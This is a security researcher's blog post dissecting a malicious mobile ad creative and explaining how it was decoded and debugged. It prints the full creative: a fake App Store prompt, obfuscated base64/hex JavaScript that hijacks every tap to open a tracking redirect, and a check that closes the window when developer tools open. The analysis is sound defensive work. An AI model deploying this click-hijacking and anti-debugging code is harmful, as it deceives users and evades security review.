Hands On With Malvertisers' Sneaky Tricks
These days when we talk about digital ad fraud, most of us in Ad Tech think immediately about non-human traffic or nefarious supply chain tactics designed to siphon brand dollars. These are chief concerns, because they discredit our industry, but ultimately have little noticeable impact on the average digital consumer. Bots live in the cloud and are not susceptible to privacy issues — and the average Joe who gets click-baited onto a spammy tabloid website is not affected at all if the impression he generates is mis-represented as coming from a Tier-1 supply source to garnish a higher CPM.
On the other end of the spectrum we have the ads themselves that act as vehicles for fraud and other malicious activity. These have a discernible, often harmful impact on users’ experiences and their machines. Examples include Auto-Play Video, Crypto Jacking, Mobile Redirects, and in extreme cases Browser Hijacking Malware.
When I joined Confiant, I knew (read: hoped) that I would have an opportunity to get intimate with the actual code that delivers this junk into our browsers. Ultimately, I would like to answer the question of who is running these campaigns and why. What better place to start than the code? Let’s Dive in.
This creative tag showed up in my inbox the other day, reported by a publisher that noticed it active in the wild:
<!DOCTYPE html><html><head><meta charset=”UTF-8”/><script type=”application/javascript” src=”http://code.jquery.com/jquery-1.10.2.min.js”></script><script type=”application/javascript” src=”http://ftlabs.github.io/fastclick/lib/fastclick.js”></script><script type=”text/javascript”>!function(e){function n(e){function n(){return u}function o(){return window.Firebug&&window.Firebug.chrome&&window.Firebug.chrome.isInitialized?void i(“on”):(c=”off”,console.log(f),console.clear(),void i(c))}function i(e){u!==e&&(u=e,”function”==typeof d.onchange&&d.onchange(e))}function t(){w||(w=!0,window.removeEventListener(“resize”,o),clearInterval(a))}”function”==typeof e&&(e={onchange:e}),e=e||{};var r=e.delay||1e3,d={};d.onchange=e.onchange;var c,f=new Image;Object.defineProperty(f,’id’,{get:function(){c=”on”;}});var u=”unknown”;d.getStatus=n;var a=setInterval(o,r);window.addEventListener(“resize”,o);var w;return d.free=t,d}var o=o||{};o.create=n,”function”==typeof define?(define.amd||define.cmd)&&define(function(){return o}):”undefined”!=typeof module&&module.exports?module.exports=o:window[e]=o}(“jdetects”);</script><title></title> <style>#main,#popup{background: rgba(255, 255, 255, 255)}body{font-family: “Helvetica Neue”;}#main{margin: 0 auto; width: 100%; height: 100%; position: fixed; top: 0; right: 0}#overlay,#popup,.button-holder{position: absolute}#overlay{background: #999999; top: 0; left: 0; right: 0; bottom: 0}#popup{width: 322px; height: 115px; z-index: 10; border-radius: 8px; text-align: center; box-sizing: border-box; left: 50%; top: 50%; margin: -64px 0 0 -162px; font-size: 14px; box-shadow: 10px 7px 7px -1px rgba(117,115,117,0.54);}#popup p{margin: 10; padding: 0; text-align: left; color: #545454;}#popup .msg p{margin: 0; padding: 27px; line-height: 22px; font-size: 17px;}#popup .button-holder a{color: #006AFA; text-decoration: none; line-height: 50px; display: block; border-top: 1px solid #efefef; font-size: 17px; text-align: right;}#popup .two-button a{width: 100%; float: left; box-sizing: border-box}#popup .two-button a:first-child{/*border-right: 1px solid #efefef*/}.button-holder{width: 100%; bottom: 0}</style> <meta name=”viewport” content=”width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no, minimal-ui”></head> <div id=”main”> <div id=”overlay”></div><div id=”popup”> <div class=”msg”> <p>Open in “App Store”?</p></div><div class=”button-holder two-button”> <a>Cancel <b>Open</b> </a> <div style=”clear: both”></div></div></div></div><script type=”application/javascript” src=”data:text/javascript;base64,dmFyIF8weDRhYWYgPSBbCiAgICAnXHg2Zlx4NzBceDY1XHg2ZScsCiAgICAnXHg0Zlx4NDdceDY4JywKICAgICdceDY4XHg2OVx4NzNceDc0XHg2Zlx4NzJceDc5JywKICAgICdceDYyXHg2MVx4NjNceDZiJywKICAgICdceDZmXHg2ZVx4NzRceDZmXHg3NVx4NjNceDY4XHg2ZFx4NmZceDc2XHg2NScsCiAgICAnXHg1YVx4NDhceDc0JywKICAgICdceDY1XHg3Nlx4NjVceDZlXHg3NCcsCiAgICAnXHg3MFx4NzJceDY1XHg3Nlx4NjVceDZlXHg3NFx4NDRceDY1XHg2Nlx4NjFceDc1XHg2Y1x4NzQnLAogICAgJ1x4NzJceDY1XHg3NFx4NzVceDcyXHg2ZVx4NTZceDYxXHg2Y1x4NzVceDY1JywKICAgICdceDcyXHg2NVx4NjFceDY0XHg3OScsCiAgICAnXHgzNFx4N2NceDMxXHg3Y1x4MzBceDdjXHgzMlx4N2NceDMzXHg3Y1x4MzUnLAogICAgJ1x4NzNceDcwXHg2Y1x4NjlceDc0JywKICAgICdceDYxXHg3NFx4NzRceDYxXHg2M1x4NjgnLAogICAgJ1x4NjJceDZmXHg2NFx4NzknLAogICAgJ1x4NjFceDY0XHg2NFx4NDVceDc2XHg2NVx4NmVceDc0XHg0Y1x4NjlceDczXHg3NFx4NjVceDZlXHg2NVx4NzInLAogICAgJ1x4NjNceDZjXHg2OVx4NjNceDZiJwpdOwooZnVuY3Rpb24gKF8weDQ0MDRiOSwgXzB4NWYzMTJiKSB7CiAgICB2YXIgXzB4MTg4OTljID0gZnVuY3Rpb24gKF8weDE0MDU0YikgewogICAgICAgIHdoaWxlICgtLV8weDE0MDU0YikgewogICAgICAgICAgICBfMHg0NDA0YjlbJ1x4NzBceDc1XHg3M1x4NjgnXShfMHg0NDA0YjlbJ1x4NzNceDY4XHg2OVx4NjZceDc0J10oKSk7CiAgICAgICAgfQogICAgfTsKICAgIF8weDE4ODk5YygrK18weDVmMzEyYik7Cn0oXzB4NGFhZiwgMHhmOSkpOwp2YXIgXzB4ZjRhYSA9IGZ1bmN0aW9uIChfMHg1N2Q4YTksIF8weDNmNjNiOSkgewogICAgXzB4NTdkOGE5ID0gXzB4NTdkOGE5IC0gMHgwOwogICAgdmFyIF8weDI2YTNjMCA9IF8weDRhYWZbXzB4NTdkOGE5XTsKICAgIHJldHVybiBfMHgyNmEzYzA7Cn07CiQoZG9jdW1lbnQpW18weGY0YWEoJzB4MCcpXShmdW5jdGlvbiAoKSB7CiAgICB2YXIgXzB4MjliMzhiID0gewogICAgICAgICdceDU1XHg3NFx4NzgnOiBmdW5jdGlvbiBfMHgxM2VjYjAoXzB4YmM1ZmE2LCBfMHgyOGE2MDQpIHsKICAgICAgICAgICAgcmV0dXJuIF8weGJjNWZhNihfMHgyOGE2MDQpOwogICAgICAgIH0sCiAgICAgICAgJ1x4NWFceDQ4XHg3NCc6IGZ1bmN0aW9uIF8weDU4NjA5OChfMHhkNjVlMWEsIF8weDViNjkxMCwgXzB4MmExNzNiKSB7CiAgICAgICAgICAgIHJldHVybiBfMHhkNjVlMWEoXzB4NWI2OTEwLCBfMHgyYTE3M2IpOwogICAgICAgIH0KICAgIH07CiAgICB2YXIgXzB4NTdkNTkzID0gXzB4ZjRhYSgnMHgxJylbXzB4ZjRhYSgnMHgyJyldKCdceDdjJyksIF8weDExYjAzMyA9IDB4MDsKICAgIHdoaWxlICghIVtdKSB7CiAgICAgICAgc3dpdGNoIChfMHg1N2Q1OTNbXzB4MTFiMDMzKytdKSB7CiAgICAgICAgY2FzZSAnXHgzMCc6CiAgICAgICAgICAgIF8weDI5YjM4YlsnXHg1NVx4NzRceDc4J10oJCwgZnVuY3Rpb24gKCkgewogICAgICAgICAgICAgICAgRmFzdENsaWNrW18weGY0YWEoJzB4MycpXShkb2N1bWVudFtfMHhmNGFhKCcweDQnKV0pOwogICAgICAgICAgICB9KTsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgY2FzZSAnXHgzMSc6CiAgICAgICAgICAgIHZhciBfMHgyZWEzZTkgPSAhW107CiAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgIGNhc2UgJ1x4MzInOgogICAgICAgICAgICBkb2N1bWVudFtfMHhmNGFhKCcweDUnKV0oXzB4ZjRhYSgnMHg2JyksIGZ1bmN0aW9uIChfMHg0ZTI4OWMpIHsKICAgICAgICAgICAgICAgIGlmICghXzB4MmVhM2U5KSB7CiAgICAgICAgICAgICAgICAgICAgd2luZG93W18weGY0YWEoJzB4NycpXSgnXHg2OFx4NzRceDc0XHg3MFx4NzNceDNhXHgyZlx4MmZceDc2XHg3NVx4NmRceDY4XHg2NFx4MmVceDc2XHg2Zlx4NmNceDc1XHg3NVx4NmRceDc0XHg3Mlx4NmJceDMzXHgyZVx4NjNceDZmXHg2ZFx4MmZceDM5XHg2M1x4MzNceDY0XHgzN1x4MzlceDMwXHg2NFx4MmRceDYyXHg2Nlx4NjFceDYxXHgyZFx4MzRceDYzXHg2NFx4MzRceDJkXHg2Mlx4NjZceDMzXHgzNFx4MmRceDY1XHgzNVx4NjFceDM5XHgzNlx4NjZceDM5XHgzNFx4MzNceDM5XHg2MVx4MzJceDNmXHg2MVx4NjZceDY2XHg1Zlx4NzNceDc1XHg2Mlx4MzJceDNkXHg2M1x4MzFceDMyXHgzNVx4NjNceDY2XHgzNlx4MzdceDJkXHgzMFx4NjZceDM5XHgzMFx4MmRceDM0XHgzOVx4NjRceDMwXHgyZFx4NjJceDM3XHg2NVx4NjJceDJkXHgzMlx4MzZceDMwXHg2NFx4NjJceDMwXHg2Mlx4MzFceDM3XHg2Mlx4MzNceDYyXHg1Zlx4MzFceDM1XHgzMFx4MzZceDM2XHgzNVx4MzJceDMyXHgzMFx4MzBceDI2XHg2MVx4NjZceDY2XHg1Zlx4NzNceDc1XHg2Mlx4MzNceDNkXHg0ZFx4NDVceDQ0XHg0OVx4NDFceDRkXHg0MVx4NTRceDQ4XHgyZFx4NTBceDUyXHgyNlx4NjFceDY2XHg2Nlx4NWZceDczXHg3NVx4NjJceDM0XHgzZFx4MzNceDMyXHgzMFx4NzhceDM1XHgzMFx4MjZceDYxXHg2Nlx4NjZceDVmXHg3M1x4NzVceDYyXHgzNlx4M2RceDY2XHg3Mlx4NjVceDY1XHg3M1x4NzRceDYxXHg3Mlx4MmVceDY5XHg2Zlx4MjZceDY0XHg2Zlx4NmRceDYxXHg2OVx4NmVceDNkXHg2Nlx4NzJceDY1XHg2NVx4NzNceDc0XHg2MVx4NzJceDJlXHg2OVx4NmZceDI2XHg2NFx4NmZceDZkXHg2MVx4NjlceDZlXHg1Zlx4NjlceDY0XHgzZFx4MzlceDM2XHg2NFx4NjZceDYzXHg2M1x4MzFceDM4XHgzMVx4NjNceDM4XHgzNFx4MzlceDM5XHg2Nlx4NjVceDYyXHg2NVx4MzdceDY1XHgzNVx4MzNceDMyXHg2M1x4MzdceDM4XHgzNlx4NjVceDM5XHgzOVx4MzZceDM4XHgyNlx4NjNceDYxXHg2ZFx4NzBceDYxXHg2OVx4NjdceDZlXHg1Zlx4NjNceDZmXHg3NVx4NmVceDc0XHg3Mlx4NzlceDNkXHg1M1x4NGJceDVmXHg0OVx4NGZceDUzJyk7CiAgICAgICAgICAgICAgICAgICAgXzB4NDY4YTI0W18weGY0YWEoJzB4OCcpXShzZXRUaW1lb3V0LCBmdW5jdGlvbiAoKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHdpbmRvd1tfMHhmNGFhKCcweDknKV1bXzB4ZjRhYSgnMHhhJyldKCk7CiAgICAgICAgICAgICAgICAgICAgfSwgMHhiYjgpOwogICAgICAgICAgICAgICAgICAgIF8weDJlYTNlOSA9ICEhW107CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB3aW5kb3dbXzB4ZjRhYSgnMHhiJyldID0gbnVsbDsKICAgICAgICAgICAgfSwgIVtdKTsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgY2FzZSAnXHgzMyc6CiAgICAgICAgICAgIHdpbmRvd1tfMHhmNGFhKCcweGInKV0gPSBwcmV2ZW50RGVmYXVsdDsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgY2FzZSAnXHgzNCc6CiAgICAgICAgICAgIHZhciBfMHg0NjhhMjQgPSB7CiAgICAgICAgICAgICAgICAnXHg0Zlx4NDdceDY4JzogZnVuY3Rpb24gXzB4NGZiZDhmKF8weDQ0N2U2MiwgXzB4MmJlYjljLCBfMHgyZTg5MGYpIHsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gXzB4NDQ3ZTYyKF8weDJiZWI5YywgXzB4MmU4OTBmKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfTsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgY2FzZSAnXHgzNSc6CiAgICAgICAgICAgIF8weDI5YjM4YltfMHhmNGFhKCcweGMnKV0oc2V0VGltZW91dCwgZnVuY3Rpb24gKCkgewogICAgICAgICAgICAgICAgd2luZG93W18weGY0YWEoJzB4YicpXSA9IG51bGw7CiAgICAgICAgICAgIH0sIDB4M2E5OCk7CiAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgIH0KICAgICAgICBicmVhazsKICAgIH0KfSk7CmZ1bmN0aW9uIHByZXZlbnREZWZhdWx0KF8weDUxYzEzNikgewogICAgXzB4NTFjMTM2ID0gXzB4NTFjMTM2IHx8IHdpbmRvd1tfMHhmNGFhKCcweGQnKV07CiAgICBpZiAoXzB4NTFjMTM2WydceDcwXHg3Mlx4NjVceDc2XHg2NVx4NmVceDc0XHg0NFx4NjVceDY2XHg2MVx4NzVceDZjXHg3NCddKQogICAgICAgIF8weDUxYzEzNltfMHhmNGFhKCcweGUnKV0oKTsKICAgIF8weDUxYzEzNltfMHhmNGFhKCcweGYnKV0gPSAhW107Cn0KOw==”></script><script type=”application/javascript” src=”data:text/javascript;base64,amRldGVjdHMuY3JlYXRlKGZ1bmN0aW9uKHN0YXR1cyl7aWYoc3RhdHVzIT0ib2ZmIil7d2luZG93LmNsb3NlKCk7d2luZG93Lmhpc3RvcnkuYmFjaygpO307fSk7”></script></body></html>Right away, even to the untrained eye, alarm bells should be ringing. Here are some initial observations:
We see some confusing JavaScript opening up this creative that appears to be checking for the presence of Chrome DevTools and/or Firebug.
return window.Firebug&&window.Firebug.chrome&&window.Firebug.chrome.isInitialized?void2. Clearly suspicious markup:
<div id=”popup”> <div class=”msg”> <p>Open in “App Store”?</p></div>3. A wall of base64 encoded JavaScript:
<script type=”application/javascript” src=”data:text/javascript;base64,dmFyIF8weDRhYWYgPSBbCiAgICAnXHg2Zlx4NzBceDY1XHg2ZScsCiAgICAnXHg0Zlx4NDdceDY4JywKICAgICdceDY4XHg2OVx4NzNceDc0XHg2Zlx4NzJceDc5JywKICAgICdceDYyXHg2MVx4NjNceDZiJywKICAgICdceDZmXHg2ZVx4NzRceDZ…… <script type=”application/javascript” src=”data:text/javascript;base64,amRldGVjdHMuY3JlYXRlKGZ1bmN0aW…4. The presence of a library called fastclick.js:
<script type=”application/javascript” src=”http://ftlabs.github.io/fastclick/lib/fastclick.js“>Let’s see what happens when we decode some of that base64 encoded JavaScript:
<script type=”application/javascript” src=”data:text/javascript;base64,var _0x4aaf = [
‘\x6f\x70\x65\x6e’,
‘\x4f\x47\x68’,
‘\x68\x69\x73\x74\x6f\x72\x79’,
‘\x62\x61\x63\x6b’,
‘\x6f\x6e\x74\x6f\x75\x63\x68\x6d\x6f\x76\x65’,
‘\x5a\x48\x74’,
‘\x65\x76\x65\x6e\x74’,
‘\x70\x72\x65\x76\x65\x6e\x74\x44\x65\x66\x61\x75\x6c\x74’,
‘\x72\x65\x74\x75\x72\x6e\x56\x61\x6c\x75\x65’,
‘\x72\x65\x61\x64\x79’,
‘\x34\x7c\x31\x7c\x30\x7c\x32\x7c\x33\x7c\x35’,
‘\x73\x70\x6c\x69\x74’,
‘\x61\x74\x74\x61\x63\x68’,
‘\x62\x6f\x64\x79’,
‘\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72’,
‘\x63\x6c\x69\x63\x6b’
];
(function (_0x4404b9, _0x5f312b) {
var _0x18899c = function (_0x14054b) {
while ( — _0x14054b) {
_0x4404b9[‘\x70\x75\x73\x68’](_0x4404b9[‘\x73\x68\x69\x66\x74’]());
}
};
_0x18899c(++_0x5f312b);
}(_0x4aaf, 0xf9));
var _0xf4aa = function (_0x57d8a9, _0x3f63b9) {
_0x57d8a9 = _0x57d8a9–0x0;
var _0x26a3c0 = _0x4aaf[_0x57d8a9];
return _0x26a3c0;
};
$(document)[_0xf4aa(‘0x0’)](function () {
var _0x29b38b = {
‘\x55\x74\x78’: function _0x13ecb0(_0xbc5fa6, _0x28a604) {
return _0xbc5fa6(_0x28a604);
},
‘\x5a\x48\x74’: function _0x586098(_0xd65e1a, _0x5b6910, _0x2a173b) {
return _0xd65e1a(_0x5b6910, _0x2a173b);
}
};
var _0x57d593 = _0xf4aa(‘0x1’)[_0xf4aa(‘0x2’)](‘\x7c’), _0x11b033 = 0x0;
while (!![]) {
switch (_0x57d593[_0x11b033++]) {
case ‘\x30’:
_0x29b38b[‘\x55\x74\x78’]($, function () {
FastClick[_0xf4aa(‘0x3’)](document[_0xf4aa(‘0x4’)]);
});
continue;
case ‘\x31’:
var _0x2ea3e9 = ![];
continue;
case ‘\x32’:
document[_0xf4aa(‘0x5’)](_0xf4aa(‘0x6’), function (_0x4e289c) {
if (!_0x2ea3e9) {
window[_0xf4aa(‘0x7’)](‘\x68\x74\x74\x70\x73\x3a\x2f\x2f\x76\x75\x6d\x68\x64\x2e\x76\x6f\x6c\x75\x75\x6d\x74\x72\x6b\x33\x2e\x63\x6f\x6d\x2f\x39\x63\x33\x64\x37\x39\x30\x64\x2d\x62\x66\x61\x61\x2d\x34\x63\x64\x34\x2d\x62\x66\x33\x34\x2d\x65\x35\x61\x39\x36\x66\x39\x34\x33\x39\x61\x32\x3f\x61\x66\x66\x5f\x73\x75\x62\x32\x3d\x63\x31\x32\x35\x63\x66\x36\x37\x2d\x30\x66\x39\x30\x2d\x34\x39\x64\x30\x2d\x62\x37\x65\x62\x2d\x32\x36\x30\x64\x62\x30\x62\x31\x37\x62\x33\x62\x5f\x31\x35\x30\x36\x36\x35\x32\x32\x30\x30\x26\x61\x66\x66\x5f\x73\x75\x62\x33\x3d\x4d\x45\x44\x49\x41\x4d\x41\x54\x48\x2d\x50\x52\x26\x61\x66\x66\x5f\x73\x75\x62\x34\x3d\x33\x32\x30\x78\x35\x30\x26\x61\x66\x66\x5f\x73\x75\x62\x36\x3d\x66\x72\x65\x65\x73\x74\x61\x72\x2e\x69\x6f\x26\x64\x6f\x6d\x61\x69\x6e\x3d\x66\x72\x65\x65\x73\x74\x61\x72\x2e\x69\x6f\x26\x64\x6f\x6d\x61\x69\x6e\x5f\x69\x64\x3d\x39\x36\x64\x66\x63\x63\x31\x38\x31\x63\x38\x34\x39\x39\x66\x65\x62\x65\x37\x65\x35\x33\x32\x63\x37\x38\x36\x65\x39\x39\x36\x38\x26\x63\x61\x6d\x70\x61\x69\x67\x6e\x5f\x63\x6f\x75\x6e\x74\x72\x79\x3d\x53\x4b\x5f\x49\x4f\x53’);
_0x468a24[_0xf4aa(‘0x8’)](setTimeout, function () {
window[_0xf4aa(‘0x9’)][_0xf4aa(‘0xa’)]();
}, 0xbb8);
_0x2ea3e9 = !![];
}
window[_0xf4aa(‘0xb’)] = null;
}, ![]);
continue;
case ‘\x33’:
window[_0xf4aa(‘0xb’)] = preventDefault;
continue;
case ‘\x34’:
var _0x468a24 = {
‘\x4f\x47\x68’: function _0x4fbd8f(_0x447e62, _0x2beb9c, _0x2e890f) {
return _0x447e62(_0x2beb9c, _0x2e890f);
}
};
continue;
case ‘\x35’:
_0x29b38b[_0xf4aa(‘0xc’)](setTimeout, function () {
window[_0xf4aa(‘0xb’)] = null;
}, 0x3a98);
continue;
}
break;
}
});
function preventDefault(_0x51c136) {
_0x51c136 = _0x51c136 || window[_0xf4aa(‘0xd’)];
if (_0x51c136[‘\x70\x72\x65\x76\x65\x6e\x74\x44\x65\x66\x61\x75\x6c\x74’])
_0x51c136[_0xf4aa(‘0xe’)]();
_0x51c136[_0xf4aa(‘0xf’)] = ![];
}
;”></script><script type=”application/javascript” src=”data:text/javascript;base64,jdetects.create(function(status){if(status!=”off”){window.close();window.history.back();};});”></script></body></html>At this point you might be feeling a bit confused and cross-eyed, but what we have here is actually a very familiar pattern of JavaScript obfuscation. The code purposefully uses cryptic variable names and a series of hex encoded strings to make the logic hard to follow. It’s a fascinating glimpse into some of the more sophisticated tactics used by malvertisers — considering that these bad actors have likely developed, or borrowed and modified tooling to make this process a bit more streamlined for themselves. Let’s take a peek at what we see if we hex decode some of objects above:
var _0x4aaf = [‘open’, ‘OGh’, ‘history’, ‘back’, ‘ontouchmove’, ‘ZHt’, ‘event’, ‘preventDefault’, ‘returnValue’, ‘ready’, ‘4|1|0|2|3|5’, ‘split’, ‘attach’, ‘body’, ‘addEventListener’, ‘click’]window[_0xf4aa(‘0x7’)](‘https://vumhd.voluumtrk3.com/9c3d790d-bfaa-4cd4-bf34-e5a96f9439a2?aff_sub2=c125cf67-0f90-49d0-b7eb-260db0b17b3b_1506652200&aff_sub3=MEDIAMATH-PR&aff_sub4=320x50&aff_sub6=[REDACTED].io&domain=[REDACTED].io&domain_id=96dfcc181c8499febe7e532c786e9968&campaign_country=SK_IOS‘);```Looks like we discovered the landing page url! Regardless, it’s safe to say at this point that trying to decode all of these strings and stitch together the execution flow of this script will likely not get us anywhere fast. This is where I would typically take the code, save as an HTML file, and load it in the browser to observe how it behaves.
If you’re overly paranoid about exposing yourself to malicious code and potentially dangerous landing pages, this is best done in a sandboxed virtual machine. Today I’m going to live dangerously. Here we go:
Now we see exactly what the suspicious markup is doing. The HTML and CSS paint a very native looking app install screen, but the catch here is that any click within the entire window will land us on this familiar link that we recognize from above:
https://vumhd.voluumtrk3.com/9c3d790d-bfaa-4cd4-bf34-e5a96f9439a2?aff_sub2=c125cf67-0f90-49d0-b7eb-260db0b17b3b_1506652200&aff_sub3=MEDIAMATH-PR&aff_sub4=320x50&aff_sub6=[REDACTED].io&domain=[REDACTED].io&domain_id=96dfcc181c8499febe7e532c786e9968&campaign_country=SK_IOSThis landing page takes us down a rabbit hole of redirects that’s worthy of a blog post in and of itself, but that is outside of the scope of this investigation, so we will focus on the creative itself. One thing that stands out when I press the cancel button is how immediately the landing page spawns. This is thanks to the FastClick library we observed being loaded above. More about FastClick here:
https://github.com/ftlabs/fastclickFastClick is a simple, easy-to-use library for eliminating the 300ms delay between a physical tap and the firing of a click event on mobile browsers. The aim is to make your application feel less laggy and more responsive while avoiding any interference with your current logic.
While this is legitimately a useful library to give web apps that native feel, the application here for a malvertisement speaks for itself.
Usually our goal with diving into these things is to discover unique code identifiers and any 3rd party domains that the ad might be loading or relying on. By now we have all of these things, because we can take a segment of the base64 encoded string as an identifier and we can add the landing page to our list of known security violators, but no investigation is finished without a peek under the hood. Enter Chrome DevTools.
If you’ve done any sort of Ad Ops QA, web design, debugging, or troubleshooting in a web browser, then you are likely familiar with Chrome DevTools. Chrome DevTools has a built-in debugger that I would normally use to set breakpoints in the execution of the ad code in order to catch what’s going on in real time, so I refresh my page, invoke DevTools with the hot keys CMD+Option+I, and then… nothing!
The browser window vanishes without a trace.
Turns out that little piece of JavaScript that we noticed earlier was quite effective at recognizing the presence of DevTools, clearing the console, and killing the window. It’s a common tactic for malicious JavaScript, and one that we can mitigate with any number of careful adjustments. I did so by changing this bit:
(c=”off”,console.log(f),console.clear(),void i(c))To this:
(c=”off”,void i(c))In my opinion, it’s probably best not to tamper with the original code too much, because I hate to break any unique functionality and miss out on observing attack vectors that I have not seen before.
Let’s try DevTools again:
This is where I’ll leave you all to do your own exploring. Hopefully this was an informative foray into some of the nuances of malicious ad code, but more importantly, perhaps this example can serve as an eye opening glimpse at just how seriously the bad actors take their business.
Edit: Domains have been redacted by vendor request.
Archive: This article was originally published on our Confiant Medium blog on October 9, 2017






